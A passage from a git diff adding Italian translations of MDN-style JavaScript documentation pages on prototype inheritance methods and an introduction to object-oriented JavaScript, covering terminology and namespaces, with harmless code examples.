+<code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+foo<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+  foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> proto <span class="operator token">=</span> Object<span class="punctuation token">.</span><span class="function token">create</span><span class="punctuation token">(</span>
+  foo<span class="punctuation token">.</span>prototype
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+proto<span class="punctuation token">.</span>bar_prop <span class="operator token">=</span> <span class="string token">"bar val"</span><span class="punctuation token">;</span>
+bar<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+<span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">bar</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+    <pre class="brush: js line-numbers language-js">
+<code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+foo<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+  foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> proto <span class="operator token">=</span> Object<span class="punctuation token">.</span><span class="function token">create</span><span class="punctuation token">(</span>
+  foo<span class="punctuation token">.</span>prototype<span class="punctuation token">,</span>
+  <span class="punctuation token">{</span>
+    bar_prop<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+      value<span class="punctuation token">:</span> <span class="string token">"bar val"</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+bar<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+<span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">bar</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span></code></pre>
+   </td>
+   <td style="vertical-align: top;">Supporto in tutti i browser in uso oggi, che sono tutti browser non microsoft più IE9 e successivi. Permette l'impostazione diretta di <code>__proto__</code> in modo che il browser possa ottimizzare meglio l'oggetto. Permette anche la creazione di oggetti senza prototype tramite <code>Object.create(null)</code>.</td>
+   <td style="vertical-align: top;">Non supportato in IE8 e precedenti. Tuttavia, poiché Microsoft ha interrotto il supporto esteso per i sistemi che utilizzano questi vecchi browser, questo non dovrebbe essere un problema per la maggior parte delle applicazioni. Inoltre, l'inizializzazione lenta dell'oggetto può essere un buco nero per prestazioni se si usa il secondo argomento, perché ogni proprietà del descrittore dell'oggetto ha un proprio oggetto descrittore separato. Quando si ha a che fare con centinaia di migliaia di descrittori di oggetti sotto forma di oggetto, può sorgere un serio problema di ritardo.</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Object.setPrototypeOf</p>
+   </td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js line-numbers language-js">
+<code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+foo<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+  foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> proto <span class="operator token">=</span> <span class="punctuation token">{</span>
+  bar_prop<span class="punctuation token">:</span> <span class="string token">"bar val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+Object<span class="punctuation token">.</span><span class="function token">setPrototypeOf</span><span class="punctuation token">(</span>
+  proto<span class="punctuation token">,</span> foo<span class="punctuation token">.</span>prototype
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+bar<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+<span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">bar</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+    <pre class="brush: js line-numbers language-js">
+<code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+foo<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+  foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> proto<span class="punctuation token">;</span>
+proto<span class="operator token">=</span>Object<span class="punctuation token">.</span><span class="function token">setPrototypeOf</span><span class="punctuation token">(</span>
+  <span class="punctuation token">{</span> bar_prop<span class="punctuation token">:</span> <span class="string token">"bar val"</span> <span class="punctuation token">}</span><span class="punctuation token">,</span>
+  foo<span class="punctuation token">.</span>prototype
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+bar<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+<span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">bar</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span></code></pre>
+   </td>
+   <td style="vertical-align: top;">Supporto in tutti i browser in uso oggi, che sono tutti browser non microsoft più IE9 e successivi. Permette la manipolazione dinamica dei prototype degli oggetti e può anche forzare un prototype su un oggetto senza prototype creato con <code>Object.create(null)</code>.</td>
+   <td style="vertical-align: top;">Dovrebbe essere deprecato e poco performante. Far girare velocemente il vostro Javascript è completamente fuori questione se pensate di usarlo nel codice di produzione finale perché molti browser ottimizzano il prototype e cercano di indovinare la posizione del metodo nella memoria quando si chiama un'istanza in anticipo, ma impostando il prototype dinamicamente si interrompono tutte queste ottimizzazioni e si può anche forzare alcuni browser a ricompilare per la deottimizzazione il vostro codice solo per farlo funzionare secondo le specifiche. Non è supportato in IE8 e successivi.</td>
+  </tr>
+  <tr>
+   <td>__proto__</td>
+   <td style="vertical-align: top;">
+    <pre class="brush: js line-numbers language-js">
+<code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+foo<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="punctuation token">{</span>
+  foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+<span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span><span class="punctuation token">}</span>
+<span class="keyword token">var</span> proto <span class="operator token">=</span> <span class="punctuation token">{</span>
+  bar_prop<span class="punctuation token">:</span> <span class="string token">"bar val"</span><span class="punctuation token">,</span>
+  __proto__<span class="punctuation token">:</span> foo<span class="punctuation token">.</span>prototype
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+bar<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+<span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">bar</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+    <pre class="brush: js line-numbers language-js">
+<code class="language-js"><span class="keyword token">var</span> inst <span class="operator token">=</span> <span class="punctuation token">{</span>
+  __proto__<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+    bar_prop<span class="punctuation token">:</span> <span class="string token">"bar val"</span><span class="punctuation token">,</span>
+    __proto__<span class="punctuation token">:</span> <span class="punctuation token">{</span>
+      foo_prop<span class="punctuation token">:</span> <span class="string token">"foo val"</span><span class="punctuation token">,</span>
+      __proto__<span class="punctuation token">:</span> <span class="class-name token">Object</span><span class="punctuation token">.</span>prototype
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>foo_prop<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>inst<span class="punctuation token">.</span>bar_prop<span class="punctuation token">)</span></code></pre>
+   </td>
+   <td style="vertical-align: top;">Compatibilità con tutti i browser in uso oggi, che sono tutti browser non microsoft più IE11 e superiori. L'impostazione di <code>__proto__</code> su qualcosa che non è un oggetto fallisce silenziosamente. Non lancia un'eccezione.</td>
+   <td style="vertical-align: top;">Totalmente deprecato e non performante. Far girare velocemente il vostro codice Javascript è completamente fuori questione se pensate di usarlo nel codice di produzione finale perché molti browser ottimizzano il prototype e cercano di indovinare la posizione del metodo nella memoria quando si chiama un'istanza in anticipo, ma impostando il prototipo dinamicamente si interrompono tutte queste ottimizzazioni e si può anche forzare alcuni browser a ricompilare per la deottimizzazione del vostro codice solo per farlo funzionare secondo le specifiche. Non è supportato in IE10 e successivi.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="prototype_e_Object.getPrototypeOf"><code>prototype</code> e <code>Object.getPrototypeOf</code></h2>
+
+<p>JavaScript confonde un po' gli sviluppatori che provengono da Java o C++, essendo completamente dinamico, valutato tutto a runtime e non avendo classi in senso stretto. Sono tutte istanze di oggetti. Persino le "classi" che simuliamo sono semplicemente degli oggetti funzione.</p>
+
+<p><span lang="it"><span class="hps">Probabilmente hai già</span> <span class="hps">notato</span> <span class="hps">che la nostra</span> <span class="hps">funzione A</span> <span class="hps">ha una propery</span> <span class="hps">speciale chiamata</span> <span class="hps">prototype.</span> <span class="hps">Questa speciale property</span> <span class="hps">funziona con</span> <span class="hps">l'operatore new</span> di <span class="hps">JavaScript</span><span>.</span> <span class="hps">Il riferimento</span> <span class="hps">all'oggetto prototype</span> <span class="hps">viene copiato nella property</span><span class="atn hps"> [</span><span class="atn">[</span><span>Prototype</span><span>]</span><span>] interna alla</span><span class="hps"> nuova istanza</span><span>.</span></span><span lang="it"> <span class="hps">Ad esempio, quando</span> <span class="hps">si fa</span> <span class="hps">var</span> <span class="hps">a1</span> <span class="hps">= new</span> <span class="atn hps">A(</span><span>)</span><span>,</span> <span class="atn hps">JavaScript (</span><span>dopo aver creato</span> <span class="hps">l'oggetto</span> <span class="hps">in memoria</span> <span class="hps">e</span> <span class="hps">prima di eseguire</span> <span class="hps">la funzione</span> <span class="atn hps">A(</span><span>) con this</span> <span class="hps">definito</span> <span class="hps">ad esso</span><span>) imposta</span> <span class="hps">a1</span><span>.</span> <span class="atn hps">[</span><span class="atn">[</span><span>Prototype</span><span>]</span><span>]</span> <span class="hps">=</span> <span class="hps">A.prototype</span><span>.</span></span><span lang="it"> <span class="hps">Quando si</span> <span class="hps">accede</span> <span class="hps">poi</span> alle properties<span class="hps"> dell'istanza</span><span>, </span><span class="hps">JavaScript</span></span> prima controlla se esiste nell'oggetto direttamente e se non c'è guarda in <span lang="it"><span class="atn hps">[</span><span class="atn">[</span><span>Prototype</span><span>]]. Questo significa che tutto ciò che viene definito in prototype viene effettivamente condiviso con tutte le istanze</span></span> ed è possibile anche in seguito cambiare parti del prototype facendo comparire i cambiamenti in tutte le istanze esistenti, se è questo che si desidera.</p>
+
+<p>Se, nell'esempio soprastante, si fa <code>var a1 = new A(); var a2 = new A();</code> <code>a1.doSomething</code> farà riferimento a <code>Object.getPrototypeOf(a1).doSomething</code>, che è il medesimo di <code>A.prototype.doSomething che è stato definito, perciò </code><code>Object.getPrototypeOf(a1).doSomething == Object.getPrototypeOf(a2).doSomething == A.prototype.doSomething</code>.</p>
+
+<p>In breve, prototype è per i tipi, mentre <code>Object.getPrototypeOf() da lo stesso risultato per le istanze.</code></p>
+
+<p><code>[[Prototype]]</code> viene esaminato <em>ricorsivamente</em>, ad esempio <code>a1.doSomething</code>, <code>Object.getPrototypeOf(a1).doSomething</code>, <code>Object.getPrototypeOf(Object.getPrototypeOf(a1)).doSomething</code> ecc., finché viene trovato oppure<code> Object.getPrototypeOf </code>restituisce null.</p>
+
+<p>Così, quando si chiama</p>
+
+<pre class="brush: js">var o = new Foo();</pre>
+
+<p>JavaScript in realtà esegue</p>
+
+<pre class="brush: js">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>(o qualcosa di simile) e quando successivamente si esegue</p>
+
+<pre class="brush: js">o.someProp;</pre>
+
+<p>controlla se o ha pa property someProp. Se non c'è controlla <code>Object.getPrototypeOf(o).someProp</code> e se non c'è ancora controlla <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp e via di seguito.</code></p>
+
+<div>
+<h2 id="In_conclusione">In conclusione</h2>
+
+<p>È <strong>essenziale</strong> capire il funzionamento dell'ereditarietà basata sul modello dei prototype prima di scrivere codice complesso che ne fa uso. Bisogna anche fare attenzione alla lunghezza della catena di prototype nel proprio codice ed accorciarla in caso di necessità per evitare possibili problemi di prestazioni. Infine, i prototype nativi non dovrebbero <strong>mai</strong> venire estesi per evitare problemi di compatibilità con nuove funzionalità JavaScript che potrebbero essere introdotte.</p>
+</div>
diff --git a/files/it/web/javascript/introduzione_al_carattere_object-oriented_di_javascript/index.html b/files/it/web/javascript/introduzione_al_carattere_object-oriented_di_javascript/index.html
new file mode 100644
index 0000000000..da26adf60a
--- /dev/null
+++ b/files/it/web/javascript/introduzione_al_carattere_object-oriented_di_javascript/index.html
@@ -0,0 +1,390 @@
+---
+title: Introduzione a JavaScript Object-Oriented
+slug: Web/JavaScript/Introduzione_al_carattere_Object-Oriented_di_JavaScript
+tags:
+  - Classe
+  - Costruttore
+  - Eredità
+  - Incapsulamento
+  - Membri
+  - Oggetto
+  - Orientato agli oggetti
+translation_of: Learn/JavaScript/Objects
+---
+<p>{{jsSidebar("Introductory")}}</p>
+
+<p>Orientato agli oggetti fino dal nucleo, JavaScript offre funzionalità {{Glossary("OOP")}} potenti e flessibili. <span id="result_box" lang="it"><span class="hps">Questo</span> <span class="hps">articolo inizia</span> <span class="hps">con una introduzione</span> <span class="hps">alla</span> <span class="hps">programmazione</span> <span class="hps">orientata agli oggetti</span><span>,</span> quindi presenta <span class="hps">il</span> <span class="hps">modello di oggetti</span> <span class="hps">JavaScript</span> <span class="hps">e, infine,</span> <span class="hps">dimostra</span> <span class="hps">concetti della</span> <span class="hps">programmazione orientata agli oggetti</span> <span class="hps">in JavaScript</span><span>.</span></span></p>
+
+<h2 id="JavaScript_Review" name="JavaScript_Review">Riesame su JavaScript</h2>
+
+<p><span id="result_box" lang="it"><span class="hps">Se</span> <span class="hps">non ti senti</span> <span class="hps">sicuro su</span> <span class="hps">concetti</span> <span class="hps">JavaScript</span><span> come</span> <span class="hps">variabili, tipi</span><span>, funzioni e</span> <span class="hps">ambito di applicazione</span><span>,</span> <span class="hps">puoi leggere su</span> <span class="hps">questi argomenti</span> </span>in <a href="/it/JavaScript/Una_re-introduzione_a_JavaScript" title="it/JavaScript/Una_re-introduzione_a_JavaScript">A re-introduction to JavaScript</a>. Puoi<span lang="it"><span class="hps"> inoltre consultare</span> <span class="hps">la</span></span> <a href="/it/JavaScript/Guida" title="it/JavaScript/Guida">Core JavaScript 1.5 Guide</a>.</p>
+
+<h2 id="Object-oriented_programming" name="Object-oriented_programming">Programmazione object-oriented</h2>
+
+<p>La programmazione orientata agli oggetti è un paradigma di programmazione che usa astrazione ({{glossary("abstraction")}}) per creare modelli basati sul mondo reale. Utilizza diverse tecniche di paradigmi esistenti, tra cui la modularità ({{glossary("modularity")}}), il polimorfismo ({{glossary("polymorphism")}}) e l'incapsulamento ({{glossary("encapsulation")}}). Oggi molti linguaggi di programmazione (come Java, JavaScript, C #, C ++, Python, PHP, Ruby e Objective-C) supportano la programmazione orientata agli oggetti (OOP).</p>
+
+<p><span id="result_box" lang="it">OOP <span class="hps">ha una visione del</span> <span class="hps">software come</span> <span class="hps">un insieme di oggetti</span> <span class="hps">cooperanti</span><span>,</span> <span class="hps">piuttosto che </span><span class="hps">un insieme di funzioni</span> <span class="hps">o semplicemente </span><span class="hps">un elenco</span> <span class="hps">di istruzioni per il</span> <span class="hps">computer (come è nella visione tradizionale).</span> <span class="hps">In</span> <span class="hps">OOP</span><span>,</span> <span class="hps">ogni oggetto è</span> <span class="hps">in grado di ricevere</span> <span class="hps">messaggi</span><span>,</span> <span class="hps">elaborare dati</span><span>,</span> <span class="hps">e</span> <span class="hps">inviare messaggi</span> <span class="hps">ad altri oggetti</span><span>.</span> <span class="hps">Ogni oggetto</span> <span class="hps">può essere visto come</span> <span class="hps">una</span> <span class="hps">piccola macchina</span> <span class="hps">indipendente con</span> </span><span lang="it"><span class="hps">ruolo o</span> <span class="hps">responsabilità</span><span> distinti.</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">OOP</span> <span class="hps">promuove una maggiore</span> <span class="hps">flessibilità e</span> mantenibilità <span class="hps">nella</span> <span class="hps">programmazione</span><span>,</span> <span class="hps">ed è</span> <span class="hps">molto popolare</span> <span class="hps">in</span> <span class="hps">ingegneria del software su larga scala</span><span>.</span> <span class="hps">Poiché</span> <span class="hps">OOP</span> <span class="hps">sottolinea con forza</span> <span class="hps">la modularità</span><span>,</span> <span class="hps">il codice</span> <span class="hps">object-oriented</span> <span class="hps">è più semplice da</span> <span class="hps">sviluppare e</span> <span class="hps">più facile da capire</span> <span class="hps">in seguito.</span> <span class="hps">Il codice</span> <span class="hps">object-oriented</span> <span class="hps">promuove</span> <span class="hps">un'analisi</span><span>,</span> <span class="hps">codifica</span><span>,</span> <span class="hps">e comprensione</span> <span class="hps">di</span> <span class="hps">situazioni</span></span><span lang="it"><span class="hps"> e</span> <span class="hps">procedure</span></span><span id="result_box" lang="it"><span class="hps"> complesse</span></span><span lang="it"><span class="hps"> più</span> <span class="hps">diretta</span> <span class="hps">che con</span> <span class="hps">metodi di programmazione</span> <span class="hps">a minor modularità</span></span><sup>.</sup><a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Introduzione_al_carattere_Object-Oriented_di_JavaScript$edit#cite-1"><sup>1</sup></a></p>
+
+<h2 id="Terminology" name="Terminology">Terminologia</h2>
+
+<dl>
+ <dt>{{Glossary("Namespace")}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Un contenitore</span> <span class="hps">che</span> <span class="hps">consente agli sviluppatori di</span> <span class="hps">includere tutte</span> <span class="hps">le funzionalità</span> <span class="hps">sotto</span> <span class="hps">un</span> <span class="hps">nome unico, specifico per l'</span><span class="hps">applicazione</span><span>.</span></span></dd>
+ <dt>{{Glossary("Class")}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Definisce</span> <span class="hps">le caratteristiche dell'oggetto</span><span>.</span> <span class="hps">Una classe</span> <span class="hps">è una definizione</span> <span class="hps">del modello,</span> <span class="hps">delle proprietà e dei metodi</span> <span class="hps">di un oggetto</span><span>.</span></span></dd>
+ <dt>{{Glossary("Object")}}</dt>
+ <dd>Istanza di una classe.</dd>
+ <dt>{{Glossary("Property")}}</dt>
+ <dd>Una caratteristica di un oggetto, come un colore.</dd>
+ <dt>{{Glossary("Method")}}</dt>
+ <dd>Una capacità di un oggetto, come ad esempio cammina. È una procedura o funzione associata a una classe.</dd>
+ <dt>{{Glossary("Constructor")}}</dt>
+ <dd>Un metodo invocato nel momento in cui l'oggetto viene istanziato. Di solito ha lo stesso nome della classe che lo contiene.</dd>
+ <dt>{{Glossary("Inheritance")}}</dt>
+ <dd>Una classe può ereditare caratteristiche da un'altra classe.</dd>
+ <dt>{{Glossary("Encapsulation")}}</dt>
+ <dd>Una modalità di raggruppamento di dati e metodi che ne fanno uso.</dd>
+ <dt>{{Glossary("Abstraction")}}</dt>
+ <dd>L'insieme del complesso di eredità, metodi e proprietà di un oggetto deve rispecchiare adeguatamente un modello reale.</dd>
+ <dt>{{Glossary("Polymorphism")}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Poly </span><span class="hps">significa</span> <span class="hps">"<em>molti</em>"</span> <span class="hps">e</span> <span class="hps">morfismo</span> <span class="hps">significa</span> <span class="hps">"<em>forme</em>"</span><span>.</span> <span class="hps">Classi diverse </span><span class="hps">potrebbero</span> <span class="hps">definire lo stesso</span> <span class="hps">metodo o proprietà</span><span>.</span></span></dd>
+</dl>
+
+
+
+<p><span id="result_box" lang="it"><span class="hps">Per una</span> <span class="hps">descrizione</span> </span><span lang="it"><span class="hps">più ampia</span> <span class="hps">della programmazione</span> <span class="hps">orientata agli oggetti</span><span>, vedi</span> </span>{{interwiki("wikipedia", "Object-oriented programming")}}<span lang="it"> <span class="hps">su Wikipedia</span><span>.</span></span></p>
+
+
+
+<h2 id="Programmazione_prototype-based">Programmazione  prototype-based</h2>
+
+<p><span id="result_box" lang="it"><span class="hps">La programmazione p</span></span>rototype-based<span lang="it"><span class="hps"> (basata</span> <span class="hps">sul prototipo)</span> <span class="hps">è un modello</span> <span class="hps">OOP</span> <span class="hps">che non utilizza</span> <span class="hps">le classi</span><span>,</span> <span class="hps">ma piuttosto</span> <span class="hps">prima</span> <span class="hps">completa</span> <span class="hps">il comportamento di</span> <span class="hps">qualsiasi classe</span> <span class="hps">e</span> <span class="hps">poi</span> <span class="hps">riutilizza</span> <span class="atn hps">(</span><span>equivalente</span> <span class="hps">all'</span><span class="hps">ereditarietà</span> <span class="hps">nei linguaggi</span> <span class="hps">basati su classi</span><span>)</span> arricchendo <span class="atn hps">(</span><span>o sviluppando</span><span>)</span> <span class="hps">oggetti <em>prototipo</em></span><span class="hps"> esistenti</span><span>.</span> <span class="atn hps">(</span><span>Chiamata anche</span> <span class="hps">senza classi (</span></span>classless<span lang="it"><span class="hps">)</span><span>,</span> <span class="hps">orientata al prototipo</span><span> (</span></span>prototype-oriented<span lang="it"><span>),</span> <span class="hps">o</span> <span class="hps">programmazione basata</span> su <span class="hps">istanza</span><span> (</span></span>instance-based<span lang="it"><span>).</span><span>)</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">L'esempio </span></span><span lang="it"><span class="hps">originale</span> <span class="atn hps">(</span><span>e più</span> <span class="hps">canonico</span><span>)</span> <span class="hps"> di un</span> <span class="hps">linguaggio basato sui prototipi</span> <span class="hps">è</span> </span>{{interwiki("wikipedia", "Self (programming language)", "Self")}}<span lang="it"> <span class="hps">sviluppato da</span> <span class="hps">David</span> <span class="hps">Ungar</span> <span class="hps">e Randall</span> <span class="hps">Smith</span><span>.</span> <span class="hps">Tuttavia lo</span> <span class="hps">stile di programmazione</span> <span class="atn hps">senza classi diventa</span> <span class="hps">sempre più popolare</span> <span class="hps">negli ultimi tempi,</span> <span class="hps">ed è stato adottato</span> <span class="hps">per</span> <span class="hps">i linguaggi di programmazione</span> <span class="hps">come JavaScript</span><span>,</span> <span class="hps">Cecil</span><span>,</span> <span class="hps">NewtonScript</span><span>,</span> <span class="hps">Io,</span> <span class="hps">MOO</span><span>,</span> <span class="hps">REBOL</span><span>,</span> <span class="hps">Kevo</span><span>,</span> <span class="hps">Squeak</span> <span class="atn hps">(</span><span>quando si utilizza il</span> <span class="hps">framework</span> </span>Viewer per<span lang="it"><span class="hps"> manipolare</span> <span class="hps">componenti</span> <span class="hps">Morphic</span><span>)</span><span>,</span> <span class="hps">e</span> <span class="hps">molti altri</span></span>.<a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Introduzione_al_carattere_Object-Oriented_di_JavaScript$edit#cite-1"><sup>1</sup></a></p>
+
+<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming">Programmazione  Object Oriented in JavaScript</h2>
+
+<h3 id="Namespace">Namespace</h3>
+
+<p>Un namespace <span id="result_box" lang="it"><span class="hps">è un contenitore</span> <span class="hps">che</span> <span class="hps">consente agli sviluppatori di</span> <span class="hps">includere tutte</span> <span class="hps">le funzionalità</span> <span class="hps">sotto</span> <span class="hps">un</span> <span class="hps">nome unico, specifico per l'</span><span class="hps">applicazione</span></span>. <strong>In JavaScript un namespace è solo un altro oggetto che contiene metodi, proprietà e oggetti.</strong></p>
+
+<div class="note">
+<p><strong>Nota:</strong> È <span lang="it"><span>importante notare che</span> <span class="hps">in JavaScript</span> <span class="hps">non c'è alcuna differenza</span> <span class="hps">a livello di</span> <span class="hps">linguaggio</span> <span class="hps">tra oggetti</span> <span class="hps">regolari e </span>namespace<span>.</span> <span class="hps">Questo</span> <span class="hps">differenzia da molti altri</span> <span class="hps">linguaggi orientati agli oggetti</span> <span class="hps">e può essere fonte</span><span class="hps"> di confusione</span> <span class="hps">per i nuovi</span> <span class="hps">programmatori JavaScript</span></span>.</p>
+</div>
+
+<p><span id="result_box" lang="it"><span class="hps">L'idea alla base</span> del<span class="hps">la creazione di</span> <span class="hps">un namespace</span> <span class="hps">in JavaScript</span> <span class="hps">è</span> <span class="hps">semplice: creare</span> <span class="hps">un oggetto</span> <span class="hps">globale</span><span>,</span> <span class="hps">e</span> <span class="hps">tutte le variabili</span><span>,</span> <span class="hps">i metodi</span> <span class="hps">e le funzioni</span> <span class="hps">diventano</span> <span class="hps">proprietà di tale oggetto</span><span>.</span> <span class="hps">L'uso</span> <span class="hps">dei namespace</span> <span class="hps">riduce anche</span> <span class="hps">il rischio di</span> <span class="hps">conflitti tra nomi</span> <span class="hps">in un'applicazione</span><span>,</span> <span class="hps">poiché gli oggetti</span> <span class="hps">di ciascuna applicazione</span> <span class="hps">sono</span> <span class="hps">proprietà di un</span> <span class="hps">oggetto globale</span> <span class="hps">definito dall'applicazione</span><span>.</span></span></p>
+
+<p>Creiamo un oggetto globale chiamato MYAPP:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// global namespace</span>
+<span class="keyword token">var</span> MYAPP <span class="operator token">=</span> MYAPP <span class="operator token">||</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<p><span id="result_box" lang="it"><span class="hps">Nel</span> <span class="hps">codice di esempio di</span> <span class="hps">sopra</span> prima viene testato <span class="hps">se</span> <span class="hps">MYAPP</span> <span class="hps">è già definito</span> <span class="hps">(sia nello</span> <span class="hps">stesso o</span> <span class="hps">in un altro file</span><span>)</span><span>.</span> <span class="hps">Se sì, allora</span> <span class="atn hps">viene utilizzato l'</span><span class="hps">oggetto globale </span></span><span lang="it"><span>MYAPP già</span> <span class="hps">esistente</span><span>,</span> <span class="hps">altrimenti</span> viene creato<span class="hps"> un oggetto</span> <span class="hps">vuoto chiamato</span> <span class="hps">MYAPP</span> <span class="hps">che</span> <span class="hps">incapsula</span> <span class="hps">metodi,</span> <span class="hps">funzioni, variabili</span> <span class="hps">e oggetti</span><span>.</span></span></p>
+
+<p>Possaimo anche creare sotto-namespace (tieni presente che l'oggetto globale deve essere definito prima):</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// sub namespace</span>
+MYAPP<span class="punctuation token">.</span>event <span class="operator token">=</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
